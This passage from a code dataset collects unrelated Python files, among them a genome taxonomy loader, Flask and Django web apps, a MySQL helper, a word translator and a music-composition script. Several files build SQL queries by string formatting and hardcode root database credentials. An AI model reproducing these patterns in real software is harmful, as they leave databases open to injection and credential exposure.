smart_open.parse_uri(uri)\n except NotImplementedError:\n logger.error(f'Unimplemented transport in uri \"{uri}\"')\n sys.exit(1)\n return uri\n\n def _strip_file_uri(self, url):\n \"\"\"Removes the file:// uri from a URL string.\"\"\"\n if url.startswith(FILE_TRANSPORT):\n return url[len(FILE_TRANSPORT) :]\n return url\n\n def _walk(self, node_name, tree):\n \"\"\"Recursively walk tree structure.\"\"\"\n # Check for required field properties.\n if len(self._nodes) > 0:\n dot_path = f\"{self._nodes[-1].path}.{node_name}\"\n else:\n dot_path = node_name\n if \"name\" not in tree:\n tree[\"name\"] = f\"'{node_name}'\"\n if \"rank\" not in tree:\n logger.error(f'Required entry \"rank\" not in entry {dot_path}')\n sys.exit(1)\n try:\n rank_val = rankname_to_number(tree[\"rank\"])\n except ValueError as e:\n logger.error(f\"Unrecognized taxonomic rank {tree['rank']}\")\n logger.error(e)\n sys.exit(1)\n if (len(self._nodes) > 0) and rank_val <= self._nodes[-1].rank_val:\n logger.error(\n f\"rank {tree['rank']} value {rank_val} is not less than\"\n + f\" previous rank value of {self._nodes[-1].rank_val}\"\n )\n sys.exit(1)\n # Push node onto stack\n self._nodes.append(\n self._Node(\n self._validate_name(dot_path),\n tree[\"name\"],\n tree[\"rank\"],\n rank_val,\n )\n )\n self.depth = max(self.depth, len(self._nodes))\n # Initialize node properties dictionary\n properties = {\"path\": dot_path, \"children\": []}\n for k, v in tree.items():\n if isinstance(v, dict):\n properties[\"children\"] += [k]\n self._walk(k, v)\n else:\n properties[k] = v\n if len(properties[\"children\"]) == 0:\n del properties[\"children\"]\n # Check if this is a genome directory node\n genome_dir_properties = [\n (p in properties) for p in REQUIRED_LEAF_NAMES\n ]\n if any(genome_dir_properties):\n if not all(genome_dir_properties):\n missing_properties = [\n p\n for i, p in enumerate(REQUIRED_LEAF_NAMES)\n if not genome_dir_properties[i]\n ]\n logger.error(\n f\"Missing properties {missing_properties} \"\n + f\"for node {dot_path}\"\n )\n sys.exit(1)\n if \"uri\" not in tree:\n uri = FILE_TRANSPORT\n else:\n uri = self._validate_uri(tree[\"uri\"])\n if not uri.endswith(\"/\"):\n uri += \"/\"\n self._genome_dir_dict[self._n_genomes] = {\"path\": dot_path}\n if \"preference\" not in tree:\n self._genome_dir_dict[self._n_genomes][\"preference\"] = \"\"\n else:\n self._genome_dir_dict[self._n_genomes][\"preference\"] = tree[\n \"preference\"\n ]\n for n in self._nodes:\n self._genome_dir_dict[self._n_genomes][\n f\"phy.{n.rank}\"\n ] = n.name\n self._genome_dir_dict[self._n_genomes][\n \"fasta_url\"\n ] = self._strip_file_uri(uri + tree[\"fasta\"])\n self._genome_dir_dict[self._n_genomes][\n \"gff_url\"\n ] = self._strip_file_uri(uri + tree[\"gff\"])\n self._n_genomes += 1\n for n in self._nodes:\n properties[n.rank] = n.name\n node_path = dotpath_to_path(dot_path)\n node_path.mkdir(parents=True, exist_ok=True)\n properties_file = node_path / \"node_properties.json\"\n logger.debug(f\"Writing properties file to {properties_file}\")\n with properties_file.open(\"w\") as filepointer:\n json.dump(properties, filepointer)\n # Pop node from stack\n self._nodes.pop()\n\n\n@contextlib.contextmanager\ndef _cd(newdir, cleanup=lambda: True):\n \"Change directory with cleanup.\"\n prevdir = os.getcwd()\n os.chdir(os.path.expanduser(newdir))\n try:\n yield\n finally:\n os.chdir(prevdir)\n cleanup()\n\n\n@contextlib.contextmanager\ndef read_from_url(url):\n \"\"\"Read from a URL transparently decompressing if compressed.\"\"\"\n yield smart_open.open(url)\n\n\n@contextlib.contextmanager\ndef filepath_from_url(url):\n \"\"\"Get a local file from a URL, decompressing if needed.\"\"\"\n filename = url.split(\"/\")[-1]\n compressed = False\n uncompressed_filename = filename\n for ext in COMPRESSION_EXTENSIONS:\n if filename.endswith(ext):\n compressed = True\n uncompressed_filename = filename[: -(len(ext) + 1)]\n break\n if (\n url.find(\"://\") == -1 and not compressed\n ): # no transport, must be a file\n yield url\n else:\n dirpath = tempfile.mkdtemp()\n logger.debug(f\"Downloading/decompressing {url} to {dirpath}\")\n filehandle = smart_open.open(url)\n dldata = filehandle.read()\n\n def cleanup():\n shutil.rmtree(dirpath)\n\n with _cd(dirpath, cleanup):\n\n with open(uncompressed_filename, \"w\") as f:\n f.write(dldata)\n tmpfile = str(Path(dirpath) / uncompressed_filename)\n yield tmpfile\n","sub_path":"azulejo/inputs.py","file_name":"inputs.py","file_ext":"py","file_size_in_byte":8541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"309549481","text":"# -*- coding:utf-8 -*-\n\nimport MySQLdb\nfrom config import database, months\n\n\ndef createtable(table, headers):\n sql = \"create table %s ( `id` smallint not null auto_increment,\" % table\n for header in headers:\n if header in months.keys() + [\"Hours\", \"YTD\"]:\n sql = sql + \" `%s` int,\" % header\n else:\n sql = sql + \" `%s` varchar(200),\" % header\n sql = sql + \"primary key (`id`)) engine=innodb default charset=utf8\"\n db = MySQLdb.connect(\"localhost\", \"root\", \"root\", database)\n cursor = db.cursor()\n cursor.execute(\"DROP TABLE IF EXISTS %s\" % table)\n cursor.execute(sql)\n cursor.execute(\"DESC %s\" % table)\n # results = cursor.fetchall()\n # print results\n db.close()\n","sub_path":"dat/createtable.py","file_name":"createtable.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"469565458","text":"from string import whitespace, punctuation\n\nprint('\\nСейчас мы заполним слова в словарь для перевода, в конце мы увидим наш перевод'\n '\\n------------------------------------------------------------------------------'\n '\\n')\n\nn = 0\n\nmoduls = whitespace + punctuation\n\n\ndef get_vocabluary(text): # перевод инпута в словарь для перевода\n\n def get_translate(word): # функция перевода слова\n enter_string = \"\"\n punctuation_simbol = '\"\"\"&\\()*+,!\"#$%-./:;<=>?@[\\\\]^_`{|}~'\n whitespace_simbol = '\\n\\r\\x0b\\t\\x0c'\n moduls = whitespace_simbol + punctuation_simbol\n while enter_string == \"\":\n print('Слово \"', word, '\" не известною')\n enter_string = (input(\"Введите перевод слова на английский или русский язык: \")).lower()\n enter_string.lower()\n for char in moduls:\n if char in enter_string:\n enter_string = \"\"\n return enter_string\n\n def text_change(text): #ф-ция возвращает список слов\n text = text.lower()\n for char in whitespace: #ф-ция убирает лишние символы\n if char in text:\n text = text.replace(char, \" \")\n for char in punctuation: #ф-ция убирает спец. символы\n if char in text:\n text = text.replace(char, \" \")\n text = text.split(\" \")\n text.sort() #сортировка по алфавиту\n while text[0] == \"\":\n text.remove(\"\")\n return text\n\n fist_text = text_change(text)\n\n def get_vocab(fist_text): #ф-ция создает словарь преводов\n for i in range(0, len(fist_text)): #преобразовываем список слов из текста в словарь\n result = dict((i, None) for i in fist_text)\n for i in range(0, len(fist_text)): #проверка вводимых слов\n if result.get(fist_text[i]) is None: #если проверка не прошла - запускаем функцию перевода слова\n result[fist_text[i]] = get_translate(fist_text[i])\n return result\n\n fist_dict = get_vocab(fist_text)\n new_text = \"\"\n\n def trans_text(text, vocabr): # функция переводит вводимый текст\n point = '.'\n comma = ','\n text = text.lower()\n for char in point:\n if char in text: text = text.replace(char, \" . \") # заменяем точку для красоты вывода\n for char in comma:\n if char in text: text = text.replace(char, \" , \") # заменяем пробел для красоты вывода\n list_text = text.split()\n vocabr.update([(\".\", \".\"), (\",\", \",\")]) # добавляем в словарь точку и запятую\n for i in range(0, len(list_text)):\n if list_text[i] in vocabr:\n list_text[i] = vocabr[list_text[i]] # переводим текст\n trantl_text1 = (\" \".join(str(x) for x in list_text))\n print(\"--------------------------------------------------------\")\n print(\"Перевод текста: \", trantl_text1) # Выводим перевод текста\n print(\"--------------------------------------------------------\")\n return trantl_text1\n\n trans_text(text, fist_dict)\n\n # запрашиваем новый текст или выход из программы\n while new_text == \"\":\n new_text = input(\"Введите новый текст или exit для выхода из программы: \")\n if new_text == \"\":\n continue\n elif new_text != \"exit\":\n new_list = text_change(new_text)\n for i in range(0, len(new_list)): # создаем новый словарь переводов\n if new_list[i] not in fist_dict: # проверяем знакомо ли нам слово\n fist_dict[new_list[i]] = get_translate(new_list[i]) # если слово не знакомо переводим его\n trans_text(new_text, fist_dict)\n new_text = \"\"\n\n return fist_dict\n\n\nif __name__ == \"__main__\":\n vocabluary = {}\n text = \"\"\"Здесь определяется текст на котором будет продемонстрирована правильность работы программы.\n Текст должен быть многострочным.\n В тексте должны быть пустые строки\n и использоваться знаки из whitespace, например \"\"\" + \"\\t\" + \"\"\"табуляция\"\"\"\n while text != \"\" and n == 0:\n vocabluary.update(get_vocabluary(text)) # переводим исходный текст\n\n\n def sort_vocab(sort_dict): # функц��я сортирует словарь по слову - переводу\n list_vol = list(sort_dict.values()) # создаем список ключей\n list_keys = list(sort_dict.keys()) # создаем список значений\n # создаем копию словаря с поменяными значениями ключей и значений\n sort_copy = dict(zip(list_vol, list_keys))\n list_vol.sort() # сортируем значения по алфавиту\n for i in range(0, len(list_vol)): # создаём словарь из значений и None\n dict_copy = dict((i, None) for i in list_vol)\n for i in range(0, len(list_vol)): # заполняем словарь значениями исходного словаря по ключам текущего\n dict_copy[list_vol[i]] = sort_copy[list_vol[i]]\n list_vol = list(dict_copy.values())\n list_keys = list(dict_copy.keys())\n # создаём cловарь с заменой местами значений ключей и значений\n dict_copy = dict(zip(list_vol, list_keys))\n return dict_copy\n\n\n vocabluary1 = sort_vocab(vocabluary) # вызываем функцию сортировки по слову - переводу\n vocabluary1.pop(\".\") # удаляем из словаря точку (для красоты вывода)\n vocabluary1.pop(\",\") # удаляем из словаря пробелл (для красоты вывода)\n print(\"\\n\")\n print(\"| {:^30} | {:^30} |\\n\".format(\"СЛОВО\", \"ПЕРЕВОД\")) # отображаем словарь переводов\n for key, value in vocabluary1.items():\n print(\"| {:<30} | {:^30} |\".format(key, value))\n n = 1\n","sub_path":"hw_3_5.py","file_name":"hw_3_5.py","file_ext":"py","file_size_in_byte":7028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"237684206","text":"from flask import Flask, request, render_template, url_for\r\nimport ipapi\r\nimport requests\r\nfrom flask_pymongo import PyMongo\r\n\r\napp = Flask(__name__)\r\n\r\napp.config['MONGO_URI'] = \"mongodb://localhost:27017/ip_db\"\r\n\r\nmongo = PyMongo(app)\r\n\r\n\r\n@app.route('/', methods=['GET', 'POST'])\r\ndef iptracker():\r\n search = request.form.get('search')\r\n data = ipapi.location(ip=search, output='json')\r\n\r\n ip = data.get('ip')\r\n city = data.get('city')\r\n country = data.get('country')\r\n languages = data.get('languages')\r\n latitude = data.get('latitude')\r\n longitude = data.get('longitude')\r\n timezone = data.get('timezone')\r\n country_calling_code = data.get('country_calling_code')\r\n currency = data.get('currency')\r\n org = data.get('org')\r\n postal = data.get('postal')\r\n\r\n mongo.db.ip_data.insert_one({'ip': ip, 'city': city, 'country': country, 'languages': languages, 'latitude': latitude, 'longitude': longitude, 'timezone': timezone, 'country_calling_code': country_calling_code, 'currency': currency, 'org': org, 'postal': postal})\r\n\r\n return render_template('index.html', data=data)\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"194992861","text":"# -*- encoding: utf-8 -*-\nimport abjad\nimport consort\nimport demarest\nfrom demarest import materials\n\n\n### XX SECTION XX ###\n\nsegment_maker = demarest.SegmentMaker(\n annotate_colors=True,\n annotate_phrasing=False,\n desired_duration_in_seconds=180,\n permitted_time_signatures=[\n (4, 4),\n ],\n tempo=abjad.Tempo((1, 4), 72),\n )\n\n### TIMESPAN MAKERS ###\n\nboundary_timespan_maker = consort.BoundaryTimespanMaker(\n start_anchor=Right,\n start_groupings=[2, 3, 1, 2, 3],\n start_talea=abjad.rhythmmakertools.Talea([3, 4, 5], 8),\n stop_groupings=[2, 3, 2, 1],\n stop_talea=abjad.rhythmmakertools.Talea([3, 4, 5], 8),\n )\n\ncascading_timespan_maker = consort.CascadingTimespanMaker(\n cascade_pattern=[3, -1],\n playing_talea=abjad.rhythmmakertools.Talea([2, 3, 4], 8),\n playing_groupings=[1, 2, 1, 2, 1, 1, 2, 3],\n silence_talea=abjad.rhythmmakertools.Talea([1], 8),\n repeat=False,\n )\n\ndroning_timespan_maker = abjad.new(\n materials.sparse_timespan_maker,\n playing_groupings=[5, 6],\n fuse_groups=True,\n )\n\nsparse_timespan_maker = abjad.new(\n materials.sparse_timespan_maker,\n playing_groupings=[1, 1, 2, 1, 2, 3],\n fuse_groups=True,\n padding=abjad.Duration(1, 8),\n )\n\n### TIMESPAN IDENTIFIERS ###\n\ncommon_timespan_identifier = abjad.sequencetools.Sequence(\n [1, -1, 2, -2, 3, 1, -1, 1, -2, 3]\n )\n\nrare_timespan_identifier = abjad.sequencetools.Sequence(\n [-3, 1, -4, 1, -5, 1, -2],\n )\n\n### MUSIC SPECIFIERS ###\n\nguiro_tapped_pointillism = materials.guiro_tapped_pointillism\nguiro_pointillism = materials.guiro_pointillism\nguiro_repetitions = materials.guiro_repetitions\nguiro_shimmer = materials.guiro_shimmer\npitch_pipe_drone = materials.pitch_pipe_drone\nshaker_drone = materials.shaker_drone\nshaker_pointillism = materials.shaker_pointillism\nshaker_repetitions = materials.shaker_repetitions\nwhispered_inhales = materials.whispered_inhales\nwhispered_pointillism = materials.whispered_pointillism\nwhispered_repetitions = materials.whispered_repetitions\n\n### MELANGES ###\n\npercussion_melange = consort.MusicSpecifierSequence(\n application_rate='division',\n music_specifiers=[\n guiro_shimmer,\n guiro_tapped_pointillism,\n guiro_pointillism,\n ],\n )\n\nwhispered_melange = consort.MusicSpecifierSequence(\n application_rate='division',\n music_specifiers=[\n whispered_inhales,\n whispered_inhales,\n whispered_pointillism,\n ],\n )\n\n### BACKGROUND MUSIC SETTINGS ###\n\nsegment_maker.add_setting(\n a_1_percussion=shaker_drone,\n a_2_percussion=shaker_drone,\n a_3_percussion=shaker_drone,\n a_4_percussion=shaker_drone,\n b_1_percussion=shaker_drone,\n b_2_percussion=shaker_drone,\n b_3_percussion=shaker_drone,\n b_4_percussion=shaker_drone,\n )\n\n### MELANGE MUSIC SETTINGS ###\n\nsegment_maker.add_setting(\n timespan_maker=sparse_timespan_maker.rotate(0),\n timespan_identifier=common_timespan_identifier.rotate(0),\n a_1_percussion=percussion_melange,\n a_2_percussion=percussion_melange,\n a_3_percussion=percussion_melange,\n a_4_percussion=percussion_melange,\n )\n\nsegment_maker.add_setting(\n timespan_maker=sparse_timespan_maker.rotate(1),\n timespan_identifier=common_timespan_identifier.rotate(1),\n b_1_percussion=percussion_melange,\n b_2_percussion=percussion_melange,\n b_3_percussion=percussion_melange,\n b_4_percussion=percussion_melange,\n )\n\nsegment_maker.add_setting(\n timespan_maker=sparse_timespan_maker.rotate(2),\n timespan_identifier=common_timespan_identifier.rotate(2),\n a_1_voice=whispered_melange,\n a_2_voice=whispered_melange,\n a_3_voice=whispered_melange,\n a_4_voice=whispered_melange,\n )\n\nsegment_maker.add_setting(\n timespan_maker=sparse_timespan_maker.rotate(3),\n timespan_identifier=common_timespan_identifier.rotate(3),\n b_1_voice=whispered_melange,\n b_2_voice=whispered_melange,\n b_3_voice=whispered_melange,\n b_4_voice=whispered_melange,\n )\n\nsegment_maker.add_setting(\n timespan_maker=sparse_timespan_maker.rotate(4),\n timespan_identifier=common_timespan_identifier.rotate(4),\n t_1_voice=whispered_melange,\n t_2_voice=whispered_melange,\n t_3_voice=whispered_melange,\n )\n\n### CASCADING MUSIC SETTINGS ###\n\nsegment_maker.add_setting(\n timespan_maker=cascading_timespan_maker,\n timespan_identifier=rare_timespan_identifier,\n a_1_percussion=shaker_repetitions,\n a_2_percussion=shaker_repetitions,\n a_3_percussion=shaker_repetitions,\n a_4_percussion=shaker_repetitions,\n b_1_percussion=shaker_repetitions,\n b_2_percussion=shaker_repetitions,\n b_3_percussion=shaker_repetitions,\n b_4_percussion=shaker_repetitions,\n )\n\nsegment_maker.add_setting(\n timespan_maker=abjad.new(\n cascading_timespan_maker,\n padding=abjad.Duration(1, 4),\n ),\n timespan_identifier=rare_timespan_identifier.rotate(2),\n a_1_voice=pitch_pipe_drone,\n a_2_voice=pitch_pipe_drone,\n a_3_voice=pitch_pipe_drone,\n a_4_voice=pitch_pipe_drone,\n t_1_voice=pitch_pipe_drone,\n t_2_voice=pitch_pipe_drone,\n t_3_voice=pitch_pipe_drone,\n b_1_voice=pitch_pipe_drone,\n b_2_voice=pitch_pipe_drone,\n b_3_voice=pitch_pipe_drone,\n b_4_voice=pitch_pipe_drone,\n )\n\n### TRIO MUSIC SPECIFIERS ###\n\ntrio_a_marimba_drone = materials.trio_a_marimba_drone\ntrio_a_marimba_shimmer = materials.trio_a_marimba_shimmer\ntrio_a_woodblock_fanfare = materials.trio_a_woodblock_fanfare\ntrio_b_ratchet_drone = materials.trio_b_ratchet_drone\ntrio_b_snare_drone = materials.trio_b_snare_drone\ntrio_b_vibraphone_drone = materials.trio_b_vibraphone_drone\ntrio_b_vibraphone_shimmer = materials.trio_b_vibraphone_shimmer\ntrio_b_tam_tam_drone = materials.trio_b_tam_tam_drone\ntrio_c_toms_fanfare = materials.trio_c_toms_fanfare\ntrio_c_tubular_bell_tranquilo = materials.trio_c_tubular_bells_tranquilo\ntrio_c_bass_drum_drone = materials.trio_c_bass_drum_drone\n\n### TRIO PERCUSSION MUSIC SETTINGS ###\n\nsegment_maker.add_setting(\n timespan_maker=droning_timespan_maker,\n t_2_percussion=trio_b_snare_drone,\n t_3_percussion=trio_c_bass_drum_drone,\n )\n\nsegment_maker.add_setting(\n timespan_maker=abjad.new(\n sparse_timespan_maker,\n padding=abjad.Duration(1, 2),\n ),\n timespan_identifier=common_timespan_identifier.rotate(6),\n t_1_percussion=consort.MusicSpecifierSequence(\n application_rate='phrase',\n music_specifiers=[\n trio_a_marimba_shimmer,\n trio_a_marimba_drone,\n ],\n ),\n t_2_percussion=consort.MusicSpecifierSequence(\n application_rate='phrase',\n music_specifiers=[\n trio_b_vibraphone_shimmer,\n trio_b_vibraphone_drone,\n ],\n ),\n silenced_contexts=['t_1_voice', 't_2_voice'],\n )\n\nsegment_maker.add_setting(\n timespan_identifier=rare_timespan_identifier.rotate(1) + [-1],\n timespan_maker=droning_timespan_maker,\n t_2_percussion=trio_b_ratchet_drone,\n )\n\nsegment_maker.add_setting(\n timespan_maker=abjad.new(\n boundary_timespan_maker,\n labels=['trio_b_ratchet_drone'],\n padding=abjad.Duration(1, 2),\n timespan_specifier=consort.TimespanSpecifier(\n forbid_fusing=True,\n minimum_duration=abjad.Duration(1, 4),\n ),\n ),\n t_1_percussion=abjad.new(trio_a_woodblock_fanfare, seed=1),\n t_3_percussion=abjad.new(trio_c_toms_fanfare, seed=2),\n silenced_contexts=['t_1_voice', 't_3_voice'],\n )\n\nsegment_maker.add_setting(\n timespan_identifier=rare_timespan_identifier.rotate(5),\n timespan_maker=abjad.new(\n droning_timespan_maker.rotate(5),\n padding=abjad.Duration(3, 4),\n ),\n t_1_percussion=materials.trio_a_marimba_repetitions,\n t_2_percussion=materials.trio_b_tam_tam_repetitions,\n t_3_percussion=materials.trio_c_bass_drum_repetitions,\n silenced_contexts=['t_1_voice', 't_2_voice', 't_3_voice'],\n )\n\nsegment_maker.add_setting(\n timespan_identifier=abjad.Timespan(0, (1, 4)),\n t_3_percussion=abjad.new(\n materials.trio_c_bass_drum_tranquilo,\n attachment_handler__dynamics=consort.DynamicExpression(\n dynamic_tokens='f',\n ),\n ),\n )\n","sub_path":"demarest/segments/section_x/definition.py","file_name":"definition.py","file_ext":"py","file_size_in_byte":8281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"628809177","text":"from django.shortcuts import render\nfrom risks.models import RiskSchema, RiskSchemaField, Risk, TEXT, NUMBER, DATE, ENUM\nfrom risks.serializers import RiskSchemaSerializer, RiskSchemaFieldSerializer, RiskSerializer, RiskTextSerializer, \\\n RiskNumberSerializer, RiskDateSerializer, RiskEnumSerializer\n\nfrom django.http import Http404\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework import generics\n\nfrom django.db import transaction\n\n\nclass RiskSchemaList(generics.ListCreateAPIView):\n \"\"\"\n Return a list of all Risk Schemas\n \"\"\"\n\n queryset = RiskSchema.objects.all()\n serializer_class = RiskSchemaSerializer\n\n\nclass RiskSchemaDetail(generics.RetrieveUpdateDestroyAPIView):\n \"\"\"\n Return a detailed Risk Schema object\n \"\"\"\n queryset = RiskSchema.objects.all()\n serializer_class = RiskSchemaSerializer\n\n\nclass RiskList(APIView):\n \"\"\"\n get:\n Return a list of all Risk entries\n\n post:\n Create a Risk entry\n \"\"\"\n\n # def get(self, request, format=None):\n # risks = Risk.objects.all()\n # serializer = RiskSerializer(risks, many=True)\n # return Response(serializer.data)\n\n def get(self, request):\n risks = Risk.objects.all()\n allrisks = []\n for risk in risks:\n allrisks.append(RiskDetail.get(self, request, pk=risk.id, format='json'))\n\n return Response(allrisks)\n\n @transaction.atomic\n def post(self, request, format=None):\n serializer = RiskSerializer(data=request.data)\n if serializer.is_valid():\n risk = serializer.save()\n riskSchema = risk.riskschema\n for field in request.data['details']:\n field_data = {'risk': risk.id, 'value': field['value'], 'position': field['position'], 'name': field['name']}\n\n # TEXT\n if field['type'] == TEXT:\n serializerText = RiskTextSerializer(data=field_data)\n if serializerText.is_valid():\n serializerText.save()\n else:\n transaction.set_rollback(True)\n return Response(serializerText.errors, status=status.HTTP_400_BAD_REQUEST)\n\n # NUMBER\n if field['type'] == NUMBER:\n serializerNumber = RiskNumberSerializer(data=field_data)\n if serializerNumber.is_valid():\n serializerNumber.save()\n else:\n transaction.set_rollback(True)\n return Response(serializerNumber.errors, status=status.HTTP_400_BAD_REQUEST)\n\n # DATE\n if field['type'] == DATE:\n serializerDate = RiskDateSerializer(data=field_data)\n if serializerDate.is_valid():\n serializerDate.save()\n else:\n transaction.set_rollback(True)\n return Response(serializerDate.errors, status=status.HTTP_400_BAD_REQUEST)\n\n # ENUM\n if field['type'] == ENUM:\n serializerEnum = RiskEnumSerializer(data=field_data)\n if serializerEnum.is_valid():\n serializerEnum.save()\n else:\n transaction.set_rollback(True)\n return Response(serializerEnum.errors, status=status.HTTP_400_BAD_REQUEST)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass RiskDetail(generics.RetrieveUpdateDestroyAPIView):\n \"\"\"\n Return a detailed Risk entry object\n \"\"\"\n\n queryset = Risk.objects.all()\n serializer_class = RiskSerializer\n\n def get(self, request, pk, format=None):\n risk = Risk.objects.get(pk=pk)\n\n texts = risk.texts.all()\n numbers = risk.numbers.all()\n dates = risk.dates.all()\n enums = risk.enums.all()\n numfields = texts.__len__() + numbers.__len__() + dates.__len__() + enums.__len__()\n riskobjview = {'id': risk.id, 'name': risk.name, 'fields': [None] * numfields}\n\n # Texts\n for field in texts:\n riskobjview['fields'][field.position - 1] = {\n 'type': TEXT,\n 'name': field.name,\n 'value': field.value,\n }\n\n # Numbers\n for field in numbers:\n riskobjview['fields'][field.position - 1] = {\n 'type': NUMBER,\n 'name': field.name,\n 'value': field.value,\n }\n\n # Datee\n for field in dates:\n riskobjview['fields'][field.position - 1] = {\n 'type': DATE,\n 'name': field.name,\n 'value': field.value,\n }\n\n # Enums\n for field in enums:\n riskobjview['fields'][field.position - 1] = {\n 'type': ENUM,\n 'name': field.name,\n 'value': field.value,\n }\n\n if format == 'json':\n return riskobjview\n else:\n return Response(riskobjview)\n","sub_path":"risks/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"209631475","text":"import MySQLdb\nimport MySQLdb.cursors\n\nclass SQL:\n CfgFile = \"longbot.cfg\"\n\n def connect(self):\n self.con = MySQLdb.connect(user=self.props['db.user'], passwd=self.props['db.pass'],\n host=self.props['db.host'],db=self.props['db.db'], cursorclass=MySQLdb.cursors.DictCursor)\n\n def close(self):\n if self.con:\n self.con.close()\n\n def fetchFromSource(self, freq):\n rows = None\n try:\n cursor = self.con.cursor()\n cursor.execute(\"SELECT name, url, handler, frequency FROM source WHERE frequency = '%s'\" % (freq))\n rows = cursor.fetchall()\n except MySQLdb.Error as e:\n print(e)\n finally:\n cursor.close()\n\n return rows\n\n def insertTickerData(self, name, price, volume = -1, fdate = \"\"):\n res = None\n try:\n cursor = self.con.cursor()\n res = cursor.execute(\"INSERT INTO ticker (name, price, volume, fdate) VALUES('%s', %s, %s, '%s')\" % (name, price, volume, fdate))\n self.con.commit()\n except MySQLdb.Error as e:\n print(e)\n finally:\n cursor.close()\n\n return res\n\n def fetchBots(self, hash):\n rows = None\n try:\n cursor = self.con.cursor()\n cursor.execute(\"SELECT name, data, updated FROM bot WHERE hash = '%s'\" % (hash))\n rows = cursor.fetchall()\n except MySQLdb.Error as e:\n print(e)\n finally:\n cursor.close()\n\n return rows\n\n def readCfg(self):\n with open(SQL.CfgFile) as fp:\n for line in fp:\n ar = line.split(\"=\", 1)\n self.props[ar[0].strip()] = ar[1].strip()\n\n def __init__(self):\n self.con = None\n self.props = {}\n self.readCfg()\n","sub_path":"sql.py","file_name":"sql.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"493983466","text":"# -*- coding: utf-8 -*-\n\nfrom TableView import TableView\nfrom PyQt4.QtGui import *\nimport sys\n\ndef fun_tableview():\n import numpy as np\n import pandas as pd\n table = TableView()\n table.createTable()\n testdata = pd.DataFrame(np.random.randn(5,3), columns = [u'学号', u'姓名', u'分数'])\n table.showTable(testdata)\n return table\n\nif __name__ == \"__main__\":\n reload(sys)\n sys.setdefaultencoding('UTF-8')\n app =QApplication(sys.argv)\n table = fun_tableview()\n table.clearTable()\n sys.exit(app.exec_())\n\n","sub_path":"TA_Product_ECSPlan/TA_BASE/code/transactive/app/energy_management/DashboardPrototype/TableView_test.py","file_name":"TableView_test.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"440631504","text":"#!/usr/bin/env python\nimport os\nfrom app import create_app, db\nfrom app.models import User, Role, Permission\nfrom flask_script import Manager, Shell\nfrom flask_migrate import Migrate, MigrateCommand\nfrom flask import request, jsonify\nfrom getContent import *\napp = create_app(os.getenv('FLASK_CONFIG') or 'default')\nmanager = Manager(app)\nmigrate = Migrate(app, db)\n\ndef make_shell_context():\n return dict(app=app, db=db, User=User, Role=Role, Permission=Permission)\nmanager.add_command(\"shell\", Shell(make_context=make_shell_context))\nmanager.add_command('db', MigrateCommand)\n\n\n@manager.command\ndef test():\n \"\"\"Run the unit tests.\"\"\"\n import unittest\n tests = unittest.TestLoader().discover('tests')\n unittest.TextTestRunner(verbosity=2).run(tests)\n\n\n@app.route('/topics/_add_numbers')\ndef add_numbers():\n torrent_id = request.args.get('a', 0, type=int)\n b = request.args.get('b', 0, type=int)\n if b ==3:\n id_num = 30 \n else:\n id_num = 100\n counter1 = get_tag_list(torrent_id, id_num)\n list1 = counter1.most_common(10)\n text_list = []\n for i in range(10):\n text_list.append(list1[i][0] + '\\t' + str(list1[i][1]))\n text1 = list1[0][0] + '\\t' + str(list1[0][1])\n text2 = list1[1][0] + '\\t' + str(list1[1][1])\n text3 = list1[2][0] + '\\t' + str(list1[2][1])\n text4 = list1[3][0] + '\\t' + str(list1[3][1])\n text5 = list1[4][0] + '\\t' + str(list1[4][1])\n text6 = list1[5][0] + '\\t' + str(list1[4][1])\n text7 = list1[6][0] + '\\t' + str(list1[4][1])\n text8 = list1[7][0] + '\\t' + str(list1[4][1])\n text9 = list1[8][0] + '\\t' + str(list1[4][1])\n text10 = list1[9][0] + '\\t' + str(list1[4][1])\n\n return jsonify(result0=text_list[0], result1=text_list[1], result2=text_list[2], result3=text_list[3], result4=text_list[4],result5=text_list[5],\n result6=text_list[6],result7=text_list[7],result8=text_list[8],result9=text_list[9]\n )\n\nif __name__ == '__main__':\n manager.run()\n","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"250954422","text":"# 1379\n# A string, each character representing a scene. Between two identical characters is considered\n# to be a continuous scene. For example: abcda, you can think of these five characters as the same scene.\n# Or acafghbeb can think of two aca and beb scenes.\n#\n# If there is a coincidence between the scenes, then the scenes are combined. For example, abcab,\n# where abca and bcab are coincident, then the five characters are considered to be the same scene.\n#\n# Give a string to find the longest scene.\n#\n# Note: 1 <= |str| <=1e5, str contains only lowercase letters\n\n# 扫描线:记录每个字符的左端点和右端点,相等于求若干线段合并后最长线段长度,使用扫描线即可。时间复杂度O(n)\n\nimport collections\nclass Solution:\n \"\"\"\n @param str: The scene string\n @return: Return the length longest scene\n \"\"\"\n def getLongestScene(self, str):\n seg = [[len(str), -1] for _ in range(26)] # [firstPosition, lastPosition]\n for i in range(len(str)):\n t = ord(str[i]) - ord('a')\n seg[t][0] = min(seg[t][0], i)\n seg[t][1] = max(seg[t][1], i)\n seg.sort()\n\n # merge interval\n ans = seg[0][1] - seg[0][0] + 1\n l, r = seg[0]\n for i in range(len(seg)):\n if seg[i][0] < len(str) and seg[i][1] >= 0 :\n if seg[i][0] <= r:\n r = max(r, seg[i][1])\n else:\n 